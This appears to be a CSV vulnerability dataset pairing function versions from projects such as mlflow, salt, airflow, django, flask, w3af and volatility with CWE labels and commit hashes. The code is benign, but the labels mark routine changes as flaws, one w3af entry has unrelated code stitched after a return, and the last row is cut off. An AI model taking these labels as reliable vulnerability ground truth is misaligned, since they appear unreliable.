functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/model_registry/abstract_store.py,0,"def delete_prompt_tag(self, name: str, key: str) -> None:
        """"""
        Delete a tag from a prompt.

        Default implementation: deletes a tag from the underlying RegisteredModel.
        Other store implementations may override this method.

        Args:
            name: Name of the prompt.
            key: Tag key to delete.
        """"""
        # Default implementation: delete tag from registered model
        return self.delete_registered_model_tag(name, key)",,mlflow/mlflow,b899895687054c3626852baae0789b1c2cc4fd9c,"def delete_prompt_tag(self, name: str, key: str) -> None:
        """"""
        Delete a tag from a prompt.

        Default implementation: deletes a tag from the underlying RegisteredModel.
        Other store implementations may override this method.

        Args:
            name: Name of the prompt.
            key: Tag key to delete.
        """"""
        # Default implementation: delete tag from registered model
        return self.delete_registered_model_tag(name, key)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/ui/gui/tabs/exploit/exploits.py,0,"def get_plugin_inst(self, path):
        '''Caches the plugin instance.

        :param path: where the user is in the plugin list
        :return The plugin
        '''
        try:
            return self.plugin_instances[path]
        except KeyError:
            pass

        # path can be a tuple of one or two values here
        pname = self.liststore[path][1]
        plugin = self.w3af.plugins.get_plugin_inst(""attack"", pname)
        plugin.pname = pname
        plugin.ptype = ""attack""
        self.plugin_instances[path] = plugin
        return plugin",,andresriancho/w3af,8743f66fdbfb285c85d6d0d7408103ec7d1e14bc,"def get_plugin_inst(self, path):
        '''Caches the plugin instance.

        :param path: where the user is in the plugin list
        :return The plugin
        '''
        try:
            return self.plugin_instances[path]
        except KeyError:
            pass

        # path can be a tuple of one or two values here
        pname = self.liststore[path][1]
        plugin = self.w3af.plugins.get_plugin_inst(""attack"", pname)
        plugin.pname = pname
        plugin.ptype = ""attack""
        self.plugin_instances[path] = plugin
        return plugin



        # initial filters
        self.applicable = []

        # drag and drop setup, this is the DESTINATION
        target = [(""explot-activ"", 0, 1)]
        self.enable_model_drag_dest(target, gtk.gdk.ACTION_COPY)
        self.connect(""drag-data-received"", self._dragDropped)

        self.connect('cursor-changed', self._changed_selection)

        # get the knowledge base and go live
        kb.kb.add_observer(None, None, self._receive_kb_items)

        self.show()"
,UNKNOWN,UNKNOWN,tests/pytests/unit/state/test_state_highstate.py,1,"def test_dont_extend_in_excluded_sls_file(highstate, state_tree_dir):
    """"""
    See https://github.com/saltstack/salt/issues/62082#issuecomment-1245461333
    """"""
    top_sls = textwrap.dedent(
        """"""\
        base:
          '*':
            - test1
            - exclude
        """"""
    )
    exclude_sls = textwrap.dedent(
        """"""\
       exclude:
         - sls: test2
       """"""
    )
    test1_sls = textwrap.dedent(
        """"""\
       include:
         - test2

       test1:
         cmd.run:
           - name: echo test1
       """"""
    )
    test2_sls = textwrap.dedent(
        """"""\
        extend:
          test1:
            cmd.run:
              - name: echo ""override test1 in test2""

        test2-id:
          cmd.run:
            - name: echo test2
        """"""
    )
    sls_dir = str(state_tree_dir)
    with pytest.helpers.temp_file(
        ""top.sls"", top_sls, sls_dir
    ), pytest.helpers.temp_file(
        ""test1.sls"", test1_sls, sls_dir
    ), pytest.helpers.temp_file(
        ""test2.sls"", test2_sls, sls_dir
    ), pytest.helpers.temp_file(
        ""exclude.sls"", exclude_sls, sls_dir
    ):
        # manually compile the high data, error checking is not needed in this
        # test case.
        top = highstate.get_top()
        matches = highstate.top_matches(top)
        high, _ = highstate.render_highstate(matches)

        # high is mutated by call_high and the different ""pipeline steps""
        assert high == OrderedDict(
            [
                (
                    ""__extend__"",
                    [
                        {
                            ""test1"": OrderedDict(
                                [
                                    (""__sls__"", ""test2""),
                                    (""__env__"", ""base""),
                                    (
                                        ""cmd"",
                                        [
                                            OrderedDict(
                                                [
                                                    (
                                                        ""name"",
                                                        'echo ""override test1 in test2""',
                                                    )
                                                ]
                                            ),
                                            ""run"",
                                        ],
                                    ),
                                ]
                            )
                        }
                    ],
                ),
                (
                    ""test1"",
                    OrderedDict(
                        [
                            (
                                ""cmd"",
                                [
                                    OrderedDict([(""name"", ""echo test1"")]),
                                    ""run"",
                                    {""order"": 10001},
                                ],
                            ),
                            (""__sls__"", ""test1""),
                            (""__env__"", ""base""),
                        ]
                    ),
                ),
                (
                    ""test2-id"",
                    OrderedDict(
                        [
                            (
                                ""cmd"",
                                [
                                    OrderedDict([(""name"", ""echo test2"")]),
                                    ""run"",
                                    {""order"": 10000},
                                ],
                            ),
                            (""__sls__"", ""test2""),
                            (""__env__"", ""base""),
                            (""__sls_included_from__"", [""test1""]),
                        ]
                    ),
                ),
                (""__exclude__"", [OrderedDict([(""sls"", ""test2"")])]),
            ]
        )
        highstate.state.call_high(high)
        # assert that the extend declaration was not applied
        assert high == OrderedDict(
            [
                (
                    ""test1"",
                    OrderedDict(
                        [
                            (
                                ""cmd"",
                                [
                                    OrderedDict([(""name"", ""echo test1"")]),
                                    ""run"",
                                    {""order"": 10001},
                                ],
                            ),
                            (""__sls__"", ""test1""),
                            (""__env__"", ""base""),
                        ]
                    ),
                )
            ]
        )",CWE-703,saltstack/salt,af8980a0521f6c43d92a69b0f4e0e502e6ae9bdd,"def test_dont_extend_in_excluded_sls_file(highstate, state_tree_dir):
    """"""
    See https://github.com/saltstack/salt/issues/62082#issuecomment-1245461333
    """"""
    top_sls = textwrap.dedent(
        """"""\
        base:
          '*':
            - test1
            - exclude
        """"""
    )
    exclude_sls = textwrap.dedent(
        """"""\
       exclude:
         - sls: test2
       """"""
    )
    test1_sls = textwrap.dedent(
        """"""\
       include:
         - test2

       test1:
         cmd.run:
           - name: echo test1
       """"""
    )
    test2_sls = textwrap.dedent(
        """"""\
        extend:
          test1:
            cmd.run:
              - name: echo ""override test1 in test2""

        test2-id:
          cmd.run:
            - name: echo test2
        """"""
    )
    sls_dir = str(state_tree_dir)
    with pytest.helpers.temp_file(
        ""top.sls"", top_sls, sls_dir
    ), pytest.helpers.temp_file(
        ""test1.sls"", test1_sls, sls_dir
    ), pytest.helpers.temp_file(
        ""test2.sls"", test2_sls, sls_dir
    ), pytest.helpers.temp_file(
        ""exclude.sls"", exclude_sls, sls_dir
    ):
        # manually compile the high data, error checking is not needed in this
        # test case.
        top = highstate.get_top()
        matches = highstate.top_matches(top)
        high, _ = highstate.render_highstate(matches)

        # high is mutated by call_high and the different ""pipeline steps""
        assert high == OrderedDict(
            [
                (
                    ""__extend__"",
                    [
                        {
                            ""test1"": OrderedDict(
                                [
                                    (""__sls__"", ""test2""),
                                    (""__env__"", ""base""),
                                    (
                                        ""cmd"",
                                        [
                                            OrderedDict(
                                                [
                                                    (
                                                        ""name"",
                                                        'echo ""override test1 in test2""',
                                                    )
                                                ]
                                            ),
                                            ""run"",
                                        ],
                                    ),
                                ]
                            )
                        }
                    ],
                ),
                (
                    ""test1"",
                    OrderedDict(
                        [
                            (
                                ""cmd"",
                                [
                                    OrderedDict([(""name"", ""echo test1"")]),
                                    ""run"",
                                    {""order"": 10001},
                                ],
                            ),
                            (""__sls__"", ""test1""),
                            (""__env__"", ""base""),
                        ]
                    ),
                ),
                (
                    ""test2-id"",
                    OrderedDict(
                        [
                            (
                                ""cmd"",
                                [
                                    OrderedDict([(""name"", ""echo test2"")]),
                                    ""run"",
                                    {""order"": 10000},
                                ],
                            ),
                            (""__sls__"", ""test2""),
                            (""__env__"", ""base""),
                        ]
                    ),
                ),
                (""__exclude__"", [OrderedDict([(""sls"", ""test2"")])]),
            ]
        )
        highstate.state.call_high(high)
        # assert that the extend declaration was not applied
        assert high == OrderedDict(
            [
                (
                    ""test1"",
                    OrderedDict(
                        [
                            (
                                ""cmd"",
                                [
                                    OrderedDict([(""name"", ""echo test1"")]),
                                    ""run"",
                                    {""order"": 10001},
                                ],
                            ),
                            (""__sls__"", ""test1""),
                            (""__env__"", ""base""),
                        ]
                    ),
                )
            ]
        )"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/operators/test_emr_add_steps.py,1,"def test_render_template_from_file(self):
        dag = DAG(
            dag_id=""test_file"",
            default_args=self.args,
            template_searchpath=TEMPLATE_SEARCHPATH,
            template_undefined=StrictUndefined,
        )

        file_steps = [
            {
                ""Name"": ""test_step1"",
                ""ActionOnFailure"": ""CONTINUE"",
                ""HadoopJarStep"": {""Jar"": ""command-runner.jar"", ""Args"": [""/usr/lib/spark/bin/run-example1""]},
            }
        ]

        self.emr_client_mock.add_job_flow_steps.return_value = ADD_STEPS_SUCCESS_RETURN

        test_task = EmrAddStepsOperator(
            task_id=""test_task"",
            job_flow_id=""j-8989898989"",
            aws_conn_id=""aws_default"",
            steps=""steps.j2.json"",
            dag=dag,
            do_xcom_push=False,
        )
        dag_run = DagRun(dag_id=dag.dag_id, execution_date=timezone.utcnow(), run_id=""test"")
        ti = TaskInstance(task=test_task)
        ti.dag_run = dag_run
        ti.render_templates()

        assert json.loads(test_task.steps) == file_steps

        # String in job_flow_overrides (i.e. from loaded as a file) is not ""parsed"" until inside execute()
        with patch(""boto3.session.Session"", self.boto3_session_mock), patch(
            ""airflow.providers.amazon.aws.hooks.base_aws.isinstance""
        ) as mock_isinstance:
            mock_isinstance.return_value = True
            test_task.execute(None)

        self.emr_client_mock.add_job_flow_steps.assert_called_once_with(
            JobFlowId=""j-8989898989"", Steps=file_steps
        )",CWE-703,apache/airflow,62ea0ff21ccc900e1bb717937b1a3ab1509767a6,"def test_render_template_from_file(self):
        dag = DAG(
            dag_id=""test_file"",
            default_args=self.args,
            template_searchpath=TEMPLATE_SEARCHPATH,
            template_undefined=StrictUndefined,
        )

        file_steps = [
            {
                ""Name"": ""test_step1"",
                ""ActionOnFailure"": ""CONTINUE"",
                ""HadoopJarStep"": {""Jar"": ""command-runner.jar"", ""Args"": [""/usr/lib/spark/bin/run-example1""]},
            }
        ]

        self.emr_client_mock.add_job_flow_steps.return_value = ADD_STEPS_SUCCESS_RETURN

        test_task = EmrAddStepsOperator(
            task_id=""test_task"",
            job_flow_id=""j-8989898989"",
            aws_conn_id=""aws_default"",
            steps=""steps.j2.json"",
            dag=dag,
            do_xcom_push=False,
        )
        dag_run = DagRun(dag_id=dag.dag_id, execution_date=timezone.utcnow(), run_id=""test"")
        ti = TaskInstance(task=test_task)
        ti.dag_run = dag_run
        ti.render_templates()

        assert json.loads(test_task.steps) == file_steps

        # String in job_flow_overrides (i.e. from loaded as a file) is not ""parsed"" until inside execute()
        with patch(""boto3.session.Session"", self.boto3_session_mock):
            test_task.execute(None)

        self.emr_client_mock.add_job_flow_steps.assert_called_once_with(
            JobFlowId=""j-8989898989"", Steps=file_steps
        )"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/app.py,0,"def trap_http_exception(self, e):
        """"""Checks if an HTTP exception should be trapped or not.  By default
        this will return ``False`` for all exceptions except for a bad request
        key error if ``TRAP_BAD_REQUEST_ERRORS`` is set to ``True``.  It
        also returns ``True`` if ``TRAP_HTTP_EXCEPTIONS`` is set to ``True``.

        This is called for all HTTP exceptions raised by a view function.
        If it returns ``True`` for any exception the error handler for this
        exception is not called and it shows up as regular exception in the
        traceback.  This is helpful for debugging implicitly raised HTTP
        exceptions.

        .. versionchanged:: 1.0
            Bad request errors are not trapped by default in debug mode.

        .. versionadded:: 0.8
        """"""
        if self.config['TRAP_HTTP_EXCEPTIONS']:
            return True

        trap_bad_request = self.config['TRAP_BAD_REQUEST_ERRORS']

        # if unset, trap key errors in debug mode
        if (
            trap_bad_request is None and self.debug
            and isinstance(e, BadRequestKeyError)
        ):
            return True

        if trap_bad_request:
            return isinstance(e, BadRequest)

        return False",,pallets/flask,10d0ed68a342880ea355ba62e8d24efa664142cd,"def trap_http_exception(self, e):
        """"""Checks if an HTTP exception should be trapped or not.  By default
        this will return ``False`` for all exceptions except for a bad request
        key error if ``TRAP_BAD_REQUEST_ERRORS`` is set to ``True``.  It
        also returns ``True`` if ``TRAP_HTTP_EXCEPTIONS`` is set to ``True``.

        This is called for all HTTP exceptions raised by a view function.
        If it returns ``True`` for any exception the error handler for this
        exception is not called and it shows up as regular exception in the
        traceback.  This is helpful for debugging implicitly raised HTTP
        exceptions.

        .. versionchanged:: 1.0
            Bad request errors are not trapped by default in debug mode.

        .. versionadded:: 0.8
        """"""
        if self.config['TRAP_HTTP_EXCEPTIONS']:
            return True

        trap_bad_request = self.config['TRAP_BAD_REQUEST_ERRORS']

        # if unset, trap key errors in debug mode
        if (
            trap_bad_request is None and self.debug
            and isinstance(e, BadRequestKeyError)
        ):
            return True

        if trap_bad_request:
            return isinstance(e, BadRequest)

        return False"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/schema/tests.py,0,"def _test_m2m(self, M2MFieldClass):
        """"""
        Tests adding/removing M2M fields on models
        """"""

        class LocalAuthorWithM2M(Model):
            name = CharField(max_length=255)

            class Meta:
                app_label = ""schema""
                apps = new_apps

        self.local_models = [LocalAuthorWithM2M]

        # Create the tables
        with connection.schema_editor() as editor:
            editor.create_model(LocalAuthorWithM2M)
            editor.create_model(TagM2MTest)
        # Create an M2M field
        new_field = M2MFieldClass(""schema.TagM2MTest"", related_name=""authors"")
        new_field.contribute_to_class(LocalAuthorWithM2M, ""tags"")
        # Ensure there's no m2m table there
        with self.assertRaises(DatabaseError):
            self.column_classes(new_field.remote_field.through)
        # Add the field
        with CaptureQueriesContext(
            connection
        ) as ctx, connection.schema_editor() as editor:
            editor.add_field(LocalAuthorWithM2M, new_field)
        # Table is not rebuilt.
        self.assertEqual(
            len(
                [
                    query[""sql""]
                    for query in ctx.captured_queries
                    if ""CREATE TABLE"" in query[""sql""]
                ]
            ),
            1,
        )
        self.assertIs(
            any(""DROP TABLE"" in query[""sql""] for query in ctx.captured_queries),
            False,
        )
        # Ensure there is now an m2m table there
        columns = self.column_classes(new_field.remote_field.through)
        self.assertEqual(
            columns[""tagm2mtest_id""][0],
            connection.features.introspected_field_types[""IntegerField""],
        )

        # ""Alter"" the field. This should not rename the DB table to itself.
        with connection.schema_editor() as editor:
            editor.alter_field(LocalAuthorWithM2M, new_field, new_field, strict=True)

        # Remove the M2M table again
        with connection.schema_editor() as editor:
            editor.remove_field(LocalAuthorWithM2M, new_field)
        # Ensure there's no m2m table there
        with self.assertRaises(DatabaseError):
            self.column_classes(new_field.remote_field.through)

        # Make sure the model state is coherent with the table one now that
        # we've removed the tags field.
        opts = LocalAuthorWithM2M._meta
        opts.local_many_to_many.remove(new_field)
        del new_apps.all_models[""schema""][
            new_field.remote_field.through._meta.model_name
        ]
        opts._expire_cache()",CWE-Unknown,django/django,7b0e9ea53ca99de2f485ec582f3a79be34b531d4,"def _test_m2m(self, M2MFieldClass):
        """"""
        Tests adding/removing M2M fields on models
        """"""

        class LocalAuthorWithM2M(Model):
            name = CharField(max_length=255)

            class Meta:
                app_label = ""schema""
                apps = new_apps

        self.local_models = [LocalAuthorWithM2M]

        # Create the tables
        with connection.schema_editor() as editor:
            editor.create_model(LocalAuthorWithM2M)
            editor.create_model(TagM2MTest)
        # Create an M2M field
        new_field = M2MFieldClass(""schema.TagM2MTest"", related_name=""authors"")
        new_field.contribute_to_class(LocalAuthorWithM2M, ""tags"")
        # Ensure there's no m2m table there
        with self.assertRaises(DatabaseError):
            self.column_classes(new_field.remote_field.through)
        # Add the field
        with connection.schema_editor() as editor:
            editor.add_field(LocalAuthorWithM2M, new_field)
        # Ensure there is now an m2m table there
        columns = self.column_classes(new_field.remote_field.through)
        self.assertEqual(
            columns[""tagm2mtest_id""][0],
            connection.features.introspected_field_types[""IntegerField""],
        )

        # ""Alter"" the field. This should not rename the DB table to itself.
        with connection.schema_editor() as editor:
            editor.alter_field(LocalAuthorWithM2M, new_field, new_field, strict=True)

        # Remove the M2M table again
        with connection.schema_editor() as editor:
            editor.remove_field(LocalAuthorWithM2M, new_field)
        # Ensure there's no m2m table there
        with self.assertRaises(DatabaseError):
            self.column_classes(new_field.remote_field.through)

        # Make sure the model state is coherent with the table one now that
        # we've removed the tags field.
        opts = LocalAuthorWithM2M._meta
        opts.local_many_to_many.remove(new_field)
        del new_apps.all_models[""schema""][
            new_field.remote_field.through._meta.model_name
        ]
        opts._expire_cache()"
,UNKNOWN,UNKNOWN,tests/store/tracking/test_sqlalchemy_store.py,1,"def test_get_experiment(self):
        name = ""goku""
        experiment_id = self._experiment_factory(name)
        actual = self.store.get_experiment(experiment_id)
        assert actual.name == name
        assert actual.experiment_id == experiment_id

        actual_by_name = self.store.get_experiment_by_name(name)
        assert actual_by_name.name == name
        assert actual_by_name.experiment_id == experiment_id
        assert self.store.get_experiment_by_name(""idontexist"") is None",CWE-703,mlflow/mlflow,d6625d6df85b61f3661ba90efc36f94511a5c23f,"def test_get_experiment(self):
        name = ""goku""
        experiment_id = self._experiment_factory(name)
        actual = self.store.get_experiment(experiment_id)
        assert actual.name == name
        assert actual.experiment_id == experiment_id

        actual_by_name = self.store.get_experiment_by_name(name)
        assert actual_by_name.name == name
        assert actual_by_name.experiment_id == experiment_id
        assert self.store.get_experiment_by_name(""idontexist"") == None"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/tracking/abstract_store.py,0,"def set_tag(self, run_id, tag):
        """"""
        Set a tag for the specified run

        :param run_id: String id for the run
        :param tag: :py:class:`mlflow.entities.RunTag` instance to set
        """"""
        self.log_batch(run_id, metrics=[], params=[], tags=[tag])",,mlflow/mlflow,0247a7d9ea40adc1fd7b36c22878f1b92662b01b,"def set_tag(self, run_id, tag):
        """"""
        Set a tag for the specified run

        :param run_id: String id for the run
        :param tag: :py:class:`mlflow.entities.RunTag` instance to set
        """"""
        self.log_batch(run_id, metrics=[], params=[], tags=[tag])"
,UNKNOWN,UNKNOWN,tests/integration/shell/call.py,1,"def test_issue_2731_masterless(self):
        root_dir = os.path.join(integration.TMP, 'issue-2731')
        config_dir = os.path.join(root_dir, 'conf')
        minion_config_file = os.path.join(config_dir, 'minion')
        logfile = os.path.join(root_dir, 'minion_test_issue_2731')

        if not os.path.isdir(config_dir):
            os.makedirs(config_dir)

        with salt.utils.fopen(self.get_config_file_path('master')) as fhr:
            master_config = yaml.load(fhr.read())

        master_root_dir = master_config['root_dir']
        this_minion_key = os.path.join(
            master_root_dir, 'pki', 'master', 'minions', 'minion_test_issue_2731'
        )

        minion_config = {
            'id': 'minion_test_issue_2731',
            'master': 'localhost',
            'master_port': 64506,
            'root_dir': master_root_dir,
            'pki_dir': 'pki',
            'cachedir': 'cachedir',
            'sock_dir': 'minion_sock',
            'open_mode': True,
            'log_file': logfile,
            'log_level': 'quiet',
            'log_level_logfile': 'info',
            'transport': self.master_opts['transport'],
        }
        try:
            # Remove existing logfile
            if os.path.isfile(logfile):
                os.unlink(logfile)

            start = datetime.now()
            # Let's first test with a master running

            with salt.utils.fopen(minion_config_file, 'w') as fh_:
                fh_.write(
                    yaml.dump(minion_config, default_flow_style=False)
                )
            ret = self.run_script(
                'salt-call',
                '--config-dir {0} cmd.run ""echo foo""'.format(
                    config_dir
                )
            )
            try:
                self.assertIn('local:', ret)
            except AssertionError:
                if os.path.isfile(minion_config_file):
                    os.unlink(minion_config_file)
                # Let's remove our key from the master
                if os.path.isfile(this_minion_key):
                    os.unlink(this_minion_key)

                raise

            # Calculate the required timeout, since next will fail.
            # I needed this because after many attempts, I was unable to catch:
            #   WARNING: Master hostname: salt not found. Retrying in 30 seconds
            ellapsed = datetime.now() - start
            timeout = ellapsed.seconds + 3

            # Now let's remove the master configuration
            minion_config.pop('master')
            minion_config.pop('master_port')
            with salt.utils.fopen(minion_config_file, 'w') as fh_:
                fh_.write(
                    yaml.dump(minion_config, default_flow_style=False)
                )

            out = self.run_script(
                'salt-call',
                '--config-dir {0} cmd.run ""echo foo""'.format(
                    config_dir
                ),
                timeout=timeout,
            )

            try:
                self.assertIn(
                    'Process took more than {0} seconds to complete. '
                    'Process Killed!'.format(timeout),
                    out
                )
            except AssertionError:
                if os.path.isfile(minion_config_file):
                    os.unlink(minion_config_file)
                # Let's remove our key from the master
                if os.path.isfile(this_minion_key):
                    os.unlink(this_minion_key)

                raise

            # Should work with --local
            ret = self.run_script(
                'salt-call',
                '--config-dir {0} --local cmd.run ""echo foo""'.format(
                    config_dir
                ),
                timeout=60
            )
            try:
                self.assertIn('local:', ret)
            except AssertionError:
                if os.path.isfile(minion_config_file):
                    os.unlink(minion_config_file)
                # Let's remove our key from the master
                if os.path.isfile(this_minion_key):
                    os.unlink(this_minion_key)
                raise

            # Should work with local file client
            minion_config['file_client'] = 'local'
            with salt.utils.fopen(minion_config_file, 'w') as fh_:
                fh_.write(
                    yaml.dump(minion_config, default_flow_style=False)
                )
            ret = self.run_script(
                'salt-call',
                '--config-dir {0} cmd.run ""echo foo""'.format(
                    config_dir
                ),
                timeout=60
            )
            self.assertIn('local:', ret)
        finally:
            if os.path.isfile(minion_config_file):
                os.unlink(minion_config_file)
            # Let's remove our key from the master
            if os.path.isfile(this_minion_key):
                os.unlink(this_minion_key)",CWE-20,saltstack/salt,41a30552136f24f50432a3d27e978f587b7acec6,"def test_issue_2731_masterless(self):
        root_dir = os.path.join(integration.TMP, 'issue-2731')
        config_dir = os.path.join(root_dir, 'conf')
        minion_config_file = os.path.join(config_dir, 'minion')
        logfile = os.path.join(root_dir, 'minion_test_issue_2731')

        if not os.path.isdir(config_dir):
            os.makedirs(config_dir)

        with salt.utils.fopen(self.get_config_file_path('master')) as fhr:
            master_config = yaml.load(fhr.read())

        master_root_dir = master_config['root_dir']
        this_minion_key = os.path.join(
            master_root_dir, 'pki', 'master', 'minions', 'minion_test_issue_2731'
        )

        minion_config = {
            'id': 'minion_test_issue_2731',
            'master': 'localhost',
            'master_port': 64506,
            'root_dir': master_root_dir,
            'pki_dir': 'pki',
            'cachedir': 'cachedir',
            'sock_dir': 'minion_sock',
            'open_mode': True,
            'log_file': logfile,
            'log_level': 'quiet',
            'log_level_logfile': 'info',
            'transport': self.master_opts['transport'],
        }
        try:
            # Remove existing logfile
            if os.path.isfile(logfile):
                os.unlink(logfile)

            start = datetime.now()
            # Let's first test with a master running

            with salt.utils.fopen(minion_config_file, 'w') as fh_:
                fh_.write(
                    yaml.dump(minion_config, default_flow_style=False)
                )
            ret = self.run_script(
                'salt-call',
                '--config-dir {0} cmd.run ""echo foo""'.format(
                    config_dir
                )
            )
            try:
                self.assertIn('local:', ret)
            except AssertionError:
                if os.path.isfile(minion_config_file):
                    os.unlink(minion_config_file)
                # Let's remove our key from the master
                if os.path.isfile(this_minion_key):
                    os.unlink(this_minion_key)

                raise

            # Calculate the required timeout, since next will fail.
            # I needed this because after many attempts, I was unable to catch:
            #   WARNING: Master hostname: salt not found. Retrying in 30 seconds
            ellapsed = datetime.now() - start
            timeout = ellapsed.seconds + 3

            # Now let's remove the master configuration
            minion_config.pop('master')
            minion_config.pop('master_port')
            with salt.utils.fopen(minion_config_file, 'w') as fh_:
                fh_.write(
                    yaml.dump(minion_config, default_flow_style=False)
                )

            out = self.run_script(
                'salt-call',
                '--config-dir {0} cmd.run ""echo foo""'.format(
                    config_dir
                ),
                timeout=timeout,
            )

            try:
                self.assertIn(
                    'Process took more than {0} seconds to complete. '
                    'Process Killed!'.format(timeout),
                    out
                )
            except AssertionError:
                if os.path.isfile(minion_config_file):
                    os.unlink(minion_config_file)
                # Let's remove our key from the master
                if os.path.isfile(this_minion_key):
                    os.unlink(this_minion_key)

                raise

            # Should work with --local
            ret = self.run_script(
                'salt-call',
                '--config-dir {0} --local cmd.run ""echo foo""'.format(
                    config_dir
                ),
                timeout=15
            )
            try:
                self.assertIn('local:', ret)
            except AssertionError:
                if os.path.isfile(minion_config_file):
                    os.unlink(minion_config_file)
                # Let's remove our key from the master
                if os.path.isfile(this_minion_key):
                    os.unlink(this_minion_key)
                raise

            # Should work with local file client
            minion_config['file_client'] = 'local'
            with salt.utils.fopen(minion_config_file, 'w') as fh_:
                fh_.write(
                    yaml.dump(minion_config, default_flow_style=False)
                )
            ret = self.run_script(
                'salt-call',
                '--config-dir {0} cmd.run ""echo foo""'.format(
                    config_dir
                ),
                timeout=15
            )
            self.assertIn('local:', ret)
        finally:
            if os.path.isfile(minion_config_file):
                os.unlink(minion_config_file)
            # Let's remove our key from the master
            if os.path.isfile(this_minion_key):
                os.unlink(this_minion_key)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/models/fields/related.py,0,"def __call__(self, **kwargs):
            # We use **kwargs rather than a kwarg argument to enforce the
            # `manager='manager_name'` syntax.
            manager = getattr(self.model, kwargs.pop('manager'))
            manager_class = create_foreign_related_manager(manager.__class__, rel_field, rel_model)
            return manager_class(self.instance)",CWE-Unknown,django/django,d847ddfe1d4475e768c547b17642d3ed0894d54e,"def __call__(self, **kwargs):
            # We use **kwargs rather than a kwarg argument to enforce the
            # `manager='manager_name'` syntax.
            manager = getattr(self.model, kwargs.pop('manager'))
            manager_class = create_foreign_related_manager(manager.__class__, rel_field, rel_model)
            return manager_class(self.instance)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/salesforce/hooks/salesforce.py,0,"def _to_timestamp(cls, column: pd.Series) -> pd.Series:
        """"""
        Convert a column of a dataframe to UNIX timestamps if applicable.

        :param column: A Series object representing a column of a dataframe.
        :return: a new series that maintains the same index as the original
        """"""
        # try and convert the column to datetimes
        # the column MUST have a four digit year somewhere in the string
        # there should be a better way to do this,
        # but just letting pandas try and convert every column without a format
        # caused it to convert floats as well
        # For example, a column of integers
        # between 0 and 10 are turned into timestamps
        # if the column cannot be converted,
        # just return the original column untouched
        import numpy as np
        import pandas as pd

        try:
            column = pd.to_datetime(column)
        except ValueError:
            log.error(""Could not convert field to timestamps: %s"", column.name)
            return column

        # now convert the newly created datetimes into timestamps
        # we have to be careful here
        # because NaT cannot be converted to a timestamp
        # so we have to return NaN
        converted = []
        for value in column:
            try:
                converted.append(value.timestamp())
            except (ValueError, AttributeError):
                converted.append(np.NaN)

        return pd.Series(converted, index=column.index)",CWE-Unknown,apache/airflow,90a100a7c3d554d1c674a90feaefdf42fd4c45ba,"def _to_timestamp(cls, column: pd.Series) -> pd.Series:
        """"""
        Convert a column of a dataframe to UNIX timestamps if applicable.

        :param column: A Series object representing a column of a dataframe.
        :return: a new series that maintains the same index as the original
        """"""
        # try and convert the column to datetimes
        # the column MUST have a four digit year somewhere in the string
        # there should be a better way to do this,
        # but just letting pandas try and convert every column without a format
        # caused it to convert floats as well
        # For example, a column of integers
        # between 0 and 10 are turned into timestamps
        # if the column cannot be converted,
        # just return the original column untouched
        import pandas as pd

        try:
            column = pd.to_datetime(column)
        except ValueError:
            log.error(""Could not convert field to timestamps: %s"", column.name)
            return column

        # now convert the newly created datetimes into timestamps
        # we have to be careful here
        # because NaT cannot be converted to a timestamp
        # so we have to return NaN
        converted = []
        for value in column:
            try:
                converted.append(value.timestamp())
            except (ValueError, AttributeError):
                converted.append(pd.np.NaN)

        return pd.Series(converted, index=column.index)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/linux/check_syscall.py,0,"def _get_table_info_distorm(self):
        """"""
        Find the size of the system call table by disassembling functions
        that immediately reference it in their first isntruction
        This is in the form 'cmp reg,NR_syscalls'
        """"""
        table_size = 0

        if not has_distorm:
            return table_size

        memory_model = self.addr_space.profile.metadata.get('memory_model', '32bit')

        if memory_model == '32bit':
            mode = distorm3.Decode32Bits
            func = ""sysenter_do_call""
        else:
            mode = distorm3.Decode64Bits
            func = ""system_call_fastpath""

        func_addr = self.get_profile_symbol(func)

        if func_addr:

            data = self.addr_space.read(func_addr, 6)

            for op in distorm3.Decompose(func_addr, data, mode):

                if not op.valid:
                    continue

                if op.mnemonic == 'CMP':
                    table_size = (op.operands[1].value) & 0xffffffff
                    break

        return table_size",,volatilityfoundation/volatility,a97cc4b40f07c1604cf54301b5a855518a945f7e,"def _get_table_info_distorm(self):
        """"""
        Find the size of the system call table by disassembling functions
        that immediately reference it in their first isntruction
        This is in the form 'cmp reg,NR_syscalls'
        """"""
        table_size = 0

        memory_model = self.addr_space.profile.metadata.get('memory_model', '32bit')

        if memory_model == '32bit':
            mode = distorm3.Decode32Bits
            func = ""sysenter_do_call""
        else:
            mode = distorm3.Decode64Bits
            func = ""system_call_fastpath""

        func_addr = self.get_profile_symbol(func)

        if func_addr:

            data = self.addr_space.read(func_addr, 6)

            for op in distorm3.Decompose(func_addr, data, mode):

                if not op.valid:
                    continue

                if op.mnemonic == 'CMP':
                    table_size = (op.operands[1].value) & 0xffffffff
                    break

        return table_size"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/mac/bash_env.py,0,"def calculate(self):
        mac_common.set_plugin_members(self)
    
        tasks = mac_tasks.mac_tasks(self._config).calculate()
        
        for task in tasks:
            proc_as = task.get_process_address_space()
            
            # In cases when mm is an invalid pointer 
            if not proc_as:
                continue
            
            # Are we dealing with 32 or 64-bit pointers
            bit_string = str(task.task.map.pmap.pm_task_map or '')[9:]
            if bit_string.find(""64BIT"") == -1:
                pack_format = ""<I""
                addr_sz = 4
                addr_type = ""unsigned int""
            else:
                pack_format = ""<Q""
                addr_sz = 8
                addr_type = ""unsigned long long""
     
            procvars = []
            for mapping in task.get_proc_maps():
                if not str(mapping.get_perms()) == ""rw-"" or mapping.get_path().find(""bash"") == -1:
                    continue

                env_start = 0
                for off in range(mapping.links.start, mapping.links.end):
                    # check the first index
                    addrstr = proc_as.read(off, addr_sz)
                    if not addrstr or len(addrstr) != addr_sz:
                        continue
                    addr = struct.unpack(pack_format, addrstr)[0]
                    # check first idx...
                    if addr:
                        firstaddrstr = proc_as.read(addr, addr_sz)
                        if not firstaddrstr or len(firstaddrstr) != addr_sz:
                            continue
                        firstaddr = struct.unpack(pack_format, firstaddrstr)[0]
